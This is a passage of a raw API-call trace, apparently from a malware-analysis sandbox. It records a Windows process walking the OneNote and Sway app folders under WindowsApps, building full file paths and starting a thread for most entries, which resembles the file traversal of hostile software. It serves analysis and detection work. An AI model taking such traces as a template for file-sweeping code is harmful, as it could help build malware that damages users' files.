	[0093.635] wcscpy (in: _Dest=0x47675d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe"
	[0093.635] wcscat (in: _Dest=0x47675d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.635] wcscat (in: _Dest=0x47675d8, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0093.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47675d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c
	[0093.636] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5943ac80, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5943ac80, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5943ac80, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.636] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.636] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e348
	[0093.636] wcscpy (in: _Dest=0x491e348, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe"
	[0093.636] wcscat (in: _Dest=0x491e348, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.636] wcscat (in: _Dest=0x491e348, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491e348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0
	[0093.636] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd1eaa713, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd1eaa713, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1eaa713, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.637] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.637] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x47176e8
	[0093.637] wcscpy (in: _Dest=0x47176e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe"
	[0093.637] wcscat (in: _Dest=0x47176e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.637] wcscat (in: _Dest=0x47176e8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47176e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0
	[0093.637] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd1eaa713, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd1eaa713, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1eaa713, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0093.637] FindClose (in: hFindFile=0x2d70f40 | out: hFindFile=0x2d70f40) returned 1
	[0093.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a4268) returned 1
	[0093.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9030) returned 1
	[0093.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d288) returned 1

Thread:
	id = 825
	os_tid = 0x13e0

	[0079.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2d7dd50
	[0079.725] wcscpy (in: _Dest=0x2d7dd50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0079.725] wcscat (in: _Dest=0x2d7dd50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0079.725] wcscat (in: _Dest=0x2d7dd50, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\*"
	[0079.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4738
	[0079.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf561945, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e6321cd, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f80
	[0079.726] wcscmp (_String1=".", _String2=".") returned 0
	[0079.726] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf561945, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e6321cd, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.726] wcscmp (_String1="..", _String2=".") returned 1
	[0079.726] wcscmp (_String1="..", _String2="..") returned 0
	[0079.726] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa599a57e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa599a57e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x864e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="adalrt.dll", cAlternateFileName="")) returned 1
	[0079.726] wcscmp (_String1="adalrt.dll", _String2=".") returned 1
	[0079.726] wcscmp (_String1="adalrt.dll", _String2="..") returned 1
	[0079.726] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa59c07d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa59c07d4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa59c07d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x8454, dwReserved0=0x0, dwReserved1=0x0, cFileName="App.xaml", cAlternateFileName="")) returned 1
	[0079.726] wcscmp (_String1="App.xaml", _String2=".") returned 1
	[0079.726] wcscmp (_String1="App.xaml", _String2="..") returned 1
	[0079.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476f740
	[0079.726] wcscpy (in: _Dest=0x476f740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0079.726] wcscat (in: _Dest=0x476f740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0079.726] wcscat (in: _Dest=0x476f740, _Source="App.xaml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\App.xaml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\App.xaml"
	[0093.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476f740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f4
	[0093.619] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa599a57e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa599a57e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2316d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0093.619] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0093.619] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0093.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12908
	[0093.619] wcscpy (in: _Dest=0x2e12908, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.619] wcscat (in: _Dest=0x2e12908, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.619] wcscat (in: _Dest=0x2e12908, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e12908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f4
	[0093.620] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa599a57e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa599a57e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x7bb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0093.620] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0093.620] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0093.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e119d8
	[0093.620] wcscpy (in: _Dest=0x2e119d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.620] wcscat (in: _Dest=0x2e119d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.620] wcscat (in: _Dest=0x2e119d8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0093.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e119d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f0
	[0093.621] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf5639e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa599a57e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.621] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.621] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718690
	[0093.621] wcscpy (in: _Dest=0x4718690, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.621] wcscat (in: _Dest=0x4718690, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.621] wcscat (in: _Dest=0x4718690, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0093.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4718690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec
	[0093.622] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa599a57e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa599a57e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2f7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.622] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.622] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e11678
	[0093.622] wcscpy (in: _Dest=0x2e11678, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.622] wcscat (in: _Dest=0x2e11678, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.622] wcscat (in: _Dest=0x2e11678, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e11678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e8
	[0093.622] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa59c07d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa59c07d4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa59c07d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x8de40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aria.dll", cAlternateFileName="")) returned 1
	[0093.622] wcscmp (_String1="Aria.dll", _String2=".") returned 1
	[0093.622] wcscmp (_String1="Aria.dll", _String2="..") returned 1
	[0093.623] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa59c07d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf5645f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa59c07d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0093.623] wcscmp (_String1="Assets", _String2=".") returned 1
	[0093.623] wcscmp (_String1="Assets", _String2="..") returned 1
	[0093.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4770d20
	[0093.623] wcscpy (in: _Dest=0x4770d20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.623] wcscat (in: _Dest=0x4770d20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.623] wcscat (in: _Dest=0x4770d20, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\Assets"
	[0093.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e4
	[0093.623] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5da4145, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa5da4145, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa60068b6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x618288, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiImm.dll", cAlternateFileName="")) returned 1
	[0093.623] wcscmp (_String1="CsiImm.dll", _String2=".") returned 1
	[0093.623] wcscmp (_String1="CsiImm.dll", _String2="..") returned 1
	[0093.624] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa602cafb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf65cc53, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa611194e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1
	[0093.624] wcscmp (_String1="en-us", _String2=".") returned 1
	[0093.624] wcscmp (_String1="en-us", _String2="..") returned 1
	[0093.624] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c060
	[0093.624] wcscpy (in: _Dest=0x4f2c060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.624] wcscat (in: _Dest=0x4f2c060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.624] wcscat (in: _Dest=0x4f2c060, _Source="en-us" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\en-us") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\en-us"
	[0093.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2c060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e0
	[0093.625] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa611194e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf65eae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa611194e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1
	[0093.625] wcscmp (_String1="fonts", _String2=".") returned 1
	[0093.625] wcscmp (_String1="fonts", _String2="..") returned 1
	[0093.626] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c420
	[0093.626] wcscpy (in: _Dest=0x4f2c420, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.626] wcscat (in: _Dest=0x4f2c420, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
